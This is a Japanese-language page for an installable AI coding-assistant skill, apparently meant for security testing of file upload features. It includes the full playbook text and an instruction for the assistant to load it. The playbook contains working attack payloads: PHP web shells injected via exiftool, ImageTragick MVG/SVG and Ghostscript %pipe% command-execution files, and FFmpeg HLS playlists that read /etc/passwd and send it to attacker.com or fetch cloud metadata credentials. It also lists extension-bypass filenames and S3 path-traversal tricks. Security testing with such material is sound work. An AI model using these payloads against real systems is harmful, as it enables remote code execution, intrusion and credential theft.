upload-insecure-files について
ファイルアップロード機能を検証、保存、処理、取得の各段階から調べるセキュリティテスト用スキルです。回避手法、アクセス制御の問題、ファイル処理チェーンのリスクを確認します。
主な機能
- 01アップロード検証と回避の確認
- 02保存パスと取得方法の分析
- 03処理チェーンのリスク調査
- 04ユーザー間アクセスと上書きのテスト
- 05アップロード脆弱性の連鎖の整理
活用シーン
- 01拡張子とファイル内容の検証差を確認
- 02アップロードファイルの公開アクセスと上書きをテスト
- 03サムネイルや文書処理ツールのリスクを分析
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ yaklang/ hack-skills --skill upload-insecure-filesインストール後、Claude Code で/upload-insecure-filesを入力して読み込まれたか確認します。
同梱ファイルSCENARIOS.md
詳細
SKILL:安全でないファイルのアップロード — 検証の回避、ストレージの悪用、処理チェーン
AI LOAD INSTRUCTION:ファイルアップロード攻撃の専門的なプレイブックです。対象がファイル、インポート、アバター、メディア、ドキュメント、アーカイブを受け付け、検証の回避、ストレージパスの悪用、アップロード後のアクセス、パーサーの悪用、マルチテナント環境での上書き、XSS、XXE、CMDi、トラバーサル、ビジネスロジックへの影響につながる攻撃チェーンまで、全ワークフローを調べる場合に使用します。Web サーバーの解析に関する脆弱性、PUT メソッドの悪用、特定の CVE(WebLogic、Flink、Tomcat)については、関連する SCENARIOS.md を読み込んでください。
0. 関連するルーティング
拡張シナリオ
次の内容が必要な場合は、SCENARIOS.md も読み込んでください。
- IIS の解析に関する脆弱性 —
x.asp/ディレクトリの解析、;によるセミコロン切り詰め(shell.asp;.jpg) - Nginx の解析設定ミス —
cgi.fix_pathinfo=1を使ったavatar.jpg/.php - Apache の解析 — 複数の拡張子、
AddHandler、CVE-2017-15715 の\n(0x0A)による回避 - PUT メソッドの悪用 — IIS WebDAV の PUT+COPY、Tomcat CVE-2017-12615 の
readonly+.jsp/による回避 - Web Service Test Page を介した WebLogic CVE-2018-2894 の任意ファイルアップロード
- パストラバーサルを伴う Apache Flink CVE-2020-17518 のファイルアップロード
- アップロードと解析の脆弱性を組み合わせた攻撃チェーン — EXIF の PHP コード + Nginx の
/.phpパス情報 - 拡張子回避の完全なリファレンステーブル(PHP/ASP/JSP の代替拡張子、大文字小文字の違い、ヌルバイト)
このファイルは、アップロードの詳細なワークフローのリファレンスとして使用してください。以下も読み込んでください。
- ファイル名、展開先パス、またはインクルードパスがファイルシステムの制御につながる場合は、パストラバーサル LFI
- アップロードがブラウザー上に表示される場合は、XSS クロスサイトスクリプティング
- SVG、OOXML、または XML インポートを受け付ける場合は、XXE XML 外部エンティティ
- プロセッサー、コンバーター、またはメディアパイプラインがシステムツールを実行する場合は、CMDi コマンドインジェクション
- クォータ、上書きルール、承認、またはストレージパスがロジック上のバグを引き起こす場合は、ビジネスロジックの脆弱性
- サーバーが Apache Tomcat で、WAF が
filename*内の.jspをブロックする場合は、ghost-bits-cast-attack。Tomcat のRFC2231Utilityは各文字をバイトに切り詰めるため、1.陪sp(U+966A の下位バイト =j)は、WAF に.jspという文字列を検知されずに、ディスク上へ1.jspとして書き込まれます。
1. 基本モデル
すべてのアップロード機能について、次の4つの信頼境界をそれぞれ個別にテストしてください。
- 受け付け:ファイルが保存される前に、どのような検証が行われますか?
- 保存:ファイルはどこに、どのような名前と権限で書き込まれますか?
- 処理:バックグラウンドで動作するどのツール、コンバーター、スキャナー、パーサー、または展開ツールがファイルにアクセスしますか?
- 配信:そのファイルは後でどのようにダウンロード、表示、変換、共有されますか?
多くの対象では、1つの段階しか検証されません。脆弱性は通常、ファイルをアップロードした段階とは別の段階で発生します。
2. まず確認する偵察事項
ペイロードを選ぶ前に、次の点を確認してください。
- 許可、拒否、または正規化される拡張子は何ですか?
- バックエンドは拡張子、MIME タイプ、マジックバイト、またはそのすべてを信頼しますか?
- ファイルは名前変更、トランスコード、展開、スキャン、または再ホスティングされますか?
- ファイルの取得は直接、プロキシ経由、署名付き、または CDN 経由ですか?
- あるユーザーが別のユーザーのファイルパスを予測したり、上書きしたりできますか?
- ファイル名、メタデータ、またはプレビューが HTML、ログ、管理コンソール、PDF に反映されますか?
3. 検証バイパスマトリクス
| 検証方式 | テスト内容 |
|---|---|
| 拡張子のブラックリスト | 二重拡張子、大文字と小文字の切り替え、末尾のドット、代替区切り文字 |
| Content-Type のみ | multipart の Content-Type の不一致、ブラウザーとプロキシによる書き換え |
| マジックバイトのみ | ポリグロットファイル、または有効なヘッダーの後ろに危険なコンテンツがあるファイル |
| サーバー側でのリネーム | リネーム後も危険なコンテンツが残り、その後の表示処理に影響するか |
| 画像のみを許可するポリシー | SVG、メタデータを含む不正な画像、パーサー間の差異 |
| アーカイブまたはインポートのみ | zip の内容、ネストされたパス名、XML メンバー、展開時の動作 |
代表的なバイパスの種類:
shell.php.jpg
avatar.jpg.php
file.asp;.jpg
file.php%00.jpg
file.svg
archive.zip
この小規模なサンプルセットで、以前は単独のアップロードペイロードヘルパーが担っていた主なユースケースをすでに網羅しているため、最初の選定に追加のエントリーは不要です。
アップロードが成功しただけで終わりにしないでください。危険な取得や処理を伴わないアップロードの成功だけでは不十分です。
4. ストレージと取得の悪用
予測可能または制御可能なパス
次のようなパターンを探します。
/uploads/USER_ID/avatar.png
/files/org-slug/report.pdf
/cdn/tmp/<uuid>/<filename>
次の点をテストします。
- ID、スラッグ、UUID のパターンを推測した他のテナントのデータ読み取り
- 他のユーザーのファイル名を再利用した上書き
- ファイル名やアーカイブメンバーにおけるパス正規化の不具合
- UI レベルのアクセス制御があるにもかかわらず、直接オブジェクト URL から非公開ファイルにアクセスできる
ファイル名を利用したインジェクションの攻撃面
安全なファイルでも、ファイル名が次の場所に反映されると危険になることがあります。
- ギャラリーの HTML
- 管理者向けモデレーションパネル
- PDF/CSV エクスポートジョブ
- ログ、監査画面、メール通知
ファイル名が反映される場合は、受動的なメタデータではなく、保存された入力として扱ってください。
5. 処理チェーンへの攻撃
最も価値の高いアップロードの脆弱性は、多くの場合、非同期プロセッサーに潜んでいます。
一般的なプロセッサーの種類
| プロセッサー | リスク |
|---|---|
| 画像のリサイズまたはサムネイル生成 | パーサー間の差異、ImageMagick やライブラリのバグ、メタデータの反映 |
| 動画または音声のトランスコード | FFmpeg のような解析処理やプロトコルの悪用 |
| アーカイブの展開 | zip slip、上書き、展開爆弾 |
| ドキュメントのインポート | CSV の数式インジェクション、Office XML の解析、マクロに関連するワークフロー |
| XML または SVG の解析 | XXE、SSRF、ローカルファイルの漏えい |
| HTML から PDF への変換またはプレビューのレンダリング | SSRF、スクリプト実行、ローカルファイル参照 |
| AV または DLP スキャン | zip の展開深度、隠れたネストコンテンツ、競合状態 |
実証すべきこと
- ファイルがプロセッサーによって処理されること。
- プロセッサーの動作がアップロード検証機能の動作と異なること。
- その違いによって、読み取り、実行、上書き、SSRF、または保存型クライアントサイド実行の影響が生じること。
6. 影響の大きいエクスプロイト経路
ブラウザーでの実行
- アクティブコンテンツとして配信される SVG
- インラインでレンダリングされる HTML またはテキストのアップロード
- HTML ページに反映される EXIF またはファイル名
XML とドキュメントの解析
- ファイル読み取りまたは SSRF に悪用される SVG XXE
- XML エンティティまたはパーサーの悪用につながる OOXML インポート
- アナリストのワークフローで数式が実行される CSV インポート
サーバー側の実行またはファイルシステムへの影響
- シェルツールを呼び出す画像またはドキュメント変換ツール
- 意図されたディレクトリの外部に書き込む zip slip
- アップロードされたコンテンツが後からインクルード可能になる、アップロードから LFI への連鎖
アクセス制御と共有の不具合
- 予測可能な URL からアクセスできる非公開アップロード
- モデレーションまたは隔離用のパスに、引き続き公開アクセスできる
- あるユーザーが別のユーザーの公開アセットを置き換えられる
7. 認可とビジネスロジックのチェック
アップロード機能には、パーサーに起因しない不具合が隠れていることがよくあります。
- UI ではアップロードクォータが適用されるが、API では適用されない
- アップロードページではプランの制限がチェックされるが、インポートエンドポイントではチェックされない
- 一覧表示ではファイルの所有者がチェックされるが、直接ダウンロードまたは置換のエンドポイントではチェックされない
- 最終ストレージエンドポイントを直接呼び出すと、承認ワークフローをバイパスできる
- 削除または置換操作にオブジェクトレベルの認可がない
アップロード経路にアカウント、プロジェクト、または組織の識別子が含まれる場合は、必ず A/B 認可テストを実行してください。
8. テスト手順
- 無害なマーカーファイルを1つアップロードし、名前変更、パス、取得の挙動を確認します。
- 検証バイパスのサンプルを1つ、アクティブコンテンツのサンプルを1つ試します。
- 取得時の挙動が添付、インライン表示、変換プレビュー、バックグラウンド処理のどれかを確認します。
- 処理が行われる場合は、プロセッサーの種類ごとに調査します。XSS、XXE、CMDi、zip slip、SSRFなどです。
- ファイルID、置換エンドポイント、公開URLについて、テナント境界と上書きのテストを実施します。
9. 連鎖マップ
| 観察結果 | 次の調査先 |
|---|---|
| SVGまたはXMLを受け付ける | xxe xml external entity |
| ファイル名またはメタデータが反映される | xss cross site scripting |
| コンバーターまたはプロセッサーがシェルを起動する | cmdi command injection |
| 展開先のパスを制御できそうである | path traversal lfi |
| 上書き、クォータ、承認、またはテナントに関する不具合がある | business logic vulnerabilities |
10. オペレーターチェックリスト
[] Confirm accept/store/process/serve stages separately
[] Test one extension bypass and one content-based payload
[] Check inline render vs forced download
[] Inspect filenames, metadata, and preview surfaces for reflection
[] Probe processing chain: image, archive, XML, document, PDF
[] Run A/B authorization on read, replace, delete, and share actions
[] Map predictable paths and public/private URL boundaries
11. アップロード成功率モデルと高度な手法
成功率の計算式
P(RCE via Upload) = P(bypass_detection) × P(obtain_path) × P(execute_via_webserver)
多くのテスターはファイル形式チェックのバイパスだけに注目し、次の点を見落とします。
- パスの特定:アップロード先のパスが分からなければ、バイパスに成功しても役に立ちません
- サーバーでの解析:
.phpファイルをアップロードできても、WebサーバーがPHPとして解析しなければRCEにはなりません
リッチテキストエディターのパス一覧
| エディター | 一般的なアップロードパス | バージョンの確認方法 |
|---|---|---|
| FCKeditor | /fckeditor/editor/filemanager/connectors/ | /fckeditor/_whatsnew.html |
| CKEditor | /ckeditor/ | /ckeditor/CHANGES.md |
| eWebEditor | /ewebeditor/ | 管理画面:/ewebeditor/admin_login.asp |
| KindEditor | /kindeditor/attached/ | /kindeditor/kindeditor.js |
| UEditor | /ueditor/net/ または /ueditor/php/ | /ueditor/ueditor.config.js |
検証不備の分類(5つの観点)
| 観点 | 不備の例 |
|---|---|
| 場所 | クライアント側のみ、フロントエンドとバックエンドで一貫性がない |
| 方法 | 拡張子のブラックリスト(不完全)、MIMEチェックのみ、マジックバイトのみ |
| ロジックの順序 | 実行チェック後に名前を変更する、アップロード全体の完了前に検証する |
| 範囲 | ファイル名はチェックするがファイル内容はチェックしない、先頭のバイトのみチェックする |
| 実行コンテキスト | アップロードには成功するが、別の仮想ホスト/ハンドラーがファイルを処理する |
レスポンス操作によるバイパス
# If server returns allowedTypes in response for client-side validation:
# Intercept response → modify allowedTypes to include .php → upload .php
# The server never actually validates — it trusts client filtering
IISのセミコロン解析
# IIS treats semicolon as parameter delimiter in filenames:
shell.asp;.jpg → IIS executes as ASP
# NTFS Alternate Data Stream:
shell.asp::$DATA → Bypasses extension check, IIS may execute
Apacheの複数拡張子
# Apache parses right-to-left for handler:
shell.php.jpg → May execute as PHP if AddHandler php applies
# Newline in filename (CVE-2017-15715):
shell.php\x0a → Bypasses regex but Apache still executes as PHP
Nginxのcgi.fix_pathinfo
# With cgi.fix_pathinfo=1 (PHP-FPM):
/uploads/image.jpg/anything.php → PHP processes image.jpg as PHP!
# Upload legitimate-looking JPG with PHP code embedded
12. ポリグロットファイルの手法
2つ以上の形式として同時に有効なファイルです。形式固有の検証をバイパスしながら、危険なペイロードを届けます。
GIFAR(GIF + JAR)
# GIF header + JAR appended
# GIF89a header (6 bytes) + padding + JAR archive (ZIP format)
# Browser: valid GIF image
# Java: valid JAR archive → applet execution (legacy)
cat header.gif payload.jar > gifar.gif
# Passes image validation, executes as Java applet if loaded via <applet>
PNG + PHPポリグロット
# Inject PHP code into PNG IDAT chunk or tEXt metadata
# The PNG renders as valid image; when included via LFI, PHP code executes
# Method 1: PHP in tEXt chunk
python3 -c "
import struct
png_header = b'\x89PNG\r\n\x1a\n'
# ... minimal IHDR + IDAT + tEXt chunk containing PHP
"
# Method 2: Use exiftool to inject into comment
exiftool -Comment='<?php system($_GET["cmd"]); ?>' image.png
# Upload image.png → LFI include → PHP executes from metadata
JPEG + JSポリグロット
# JPEG comment marker (0xFFFE) can contain JavaScript
# If served with Content-Type: text/html (or MIME sniffing active):
exiftool -Comment='<script>alert(document.domain)</script>' photo.jpg
# Combined with content-type confusion → XSS via image upload
PDF + JSポリグロット
# PDF header followed by JS:
%PDF-1.0
1 0 obj<</Pages 2 0 R>>endobj
2 0 obj<</Kids[3 0 R]/Count 1>>endobj
3 0 obj<</MediaBox[0 0 3 3]>>endobj
trailer<</Root 1 0 R>>
*/=alert('XSS')/*
13. ImageMagickの悪用チェーン
CVE-2016-3714(ImageTragick)— Delegates経由のRCE
ImageMagickは、一部の形式変換に「delegates」(外部プログラム)を使用します。細工したファイルによって、シェルコマンドを実行させることができます。
MVG(Magick Vector Graphics)
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|id > /tmp/pwned")'
pop graphic-context
SVG delegateの悪用
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg width="640px" height="480px">
<image xlink:href="https://example.com/image.jpg"|id > /tmp/pwned"" x="0" y="0"/>
</svg>
Ghostscriptの悪用
ImageMagickはPDF/PS/EPSの処理にGhostscriptを使用します。Ghostscriptでは、サンドボックスを複数回回避できる脆弱性が発生しています。
%!PS
userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%id > /tmp/pwned) currentdevice putdeviceprops
.eps、.ps、または.pdfとしてアップロード → ImageMagickがGhostscriptを呼び出す → RCE。
緩和策の確認
□ Is ImageMagick policy.xml restricting dangerous coders?
<policy domain="coder" rights="none" pattern="MVG" />
<policy domain="coder" rights="none" pattern="MSL" />
<policy domain="coder" rights="none" pattern="EPHEMERAL" />
<policy domain="coder" rights="none" pattern="URL" />
<policy domain="coder" rights="none" pattern="HTTPS" />
□ Is Ghostscript updated and sandboxed (-dSAFER)?
14. FFmpegのSSRFとローカルファイル読み取り
HLSプレイリストによるファイル読み取り
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
concat:http://attacker.com/header.txt|file:///etc/passwd
#EXT-X-ENDLIST
.m3u8または.tsとしてアップロード → FFmpegが処理 → ファイルの内容がヘッダーと結合され、攻撃者のサーバーに送信されるか、出力動画に埋め込まれます。
HLS経由のSSRF
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
http://169.254.169.254/latest/meta-data/iam/security-credentials/
#EXT-X-ENDLIST
FFmpegがサーバー側でURLを取得 → クラウドメタデータエンドポイントへのSSRF。
concatプロトコルによるローカルファイルインクルード
#EXTM3U
#EXTINF:1,
concat:file:///etc/passwd|subfile,,start,0,end,0,,:
#EXT-X-ENDLIST
AVI + 字幕によるSSRF
URLを参照する字幕トラックを含むAVIを作成します。
ffmpeg -i input.avi -vf "subtitles=http://169.254.169.254/latest/meta-data/" output.avi
15. クラウドストレージへのアップロードに関する考慮事項
S3 の署名付き URL の悪用
# Presigned URL generated for specific key and content-type:
PUT https://bucket.s3.amazonaws.com/uploads/avatar.jpg
?X-Amz-Algorithm=AWS4-HMAC-SHA256&...&X-Amz-SignedHeaders=host;content-type
# Abuse: if content-type is NOT in SignedHeaders:
# Change Content-Type from image/jpeg to text/html → upload XSS payload
# The signature remains valid because content-type wasn't signed
# If path is not signed (only prefix):
# Change key from uploads/avatar.jpg to uploads/../admin/config.json
監査チェックリスト:
□ Which headers are included in SignedHeaders? (must include content-type)
□ Is the full key path signed or just a prefix?
□ Is the upload bucket the same as the serving bucket? (write to CDN-served bucket → stored XSS)
□ Is the ACL signed? (prevent setting public-read on sensitive uploads)
Azure Blob Storage の SAS トークン
# SAS token scope issues:
# Container-level SAS with write permission → write to ANY blob in container
# Service-level SAS → may allow listing/reading other blobs
# Check: sr= (signed resource), sp= (signed permissions), se= (expiry)
GCS の署名付き URL
# Similar to S3 — check if Content-Type is included in signature
# Resumable upload URLs may have broader permissions than intended
# V4 signed URLs: verify X-Goog-SignedHeaders includes content-type
16. CONTENT-TYPE 検証のバイパス
二重拡張子
shell.php.jpg → Apache with AddHandler may execute as PHP
shell.asp;.jpg → IIS semicolon truncation
shell.php%00.jpg → Null byte truncation (PHP < 5.3.4, old Java)
shell.php.xxxxx → Unknown extension → Apache falls back to previous handler
MIME スニッフィングの悪用
サーバーが Content-Type を送信せず、X-Content-Type-Options: nosniff も指定されていない場合:
# Upload file with HTML/JS content but image extension
# Browser MIME-sniffs content → executes as HTML
# Works for stored XSS even when extension validation passes
Content-Type ヘッダーと拡張子の不一致
# Upload request:
Content-Disposition: form-data; name="file"; filename="avatar.jpg"
Content-Type: image/jpeg
# File content: <?php system($_GET['cmd']); ?>
# Server trusts Content-Type header (image/jpeg) → passes validation
# But stores with .php extension based on other logic → executes as PHP
大文字・小文字の違い
shell.PhP shell.pHP shell.Php
shell.aSp shell.jSp shell.ASPX
末尾の文字
shell.php. → trailing dot (Windows strips it)
shell.php::$DATA → NTFS alternate data stream (IIS)
shell.php\x20 → trailing space
shell.php%20 → URL-encoded space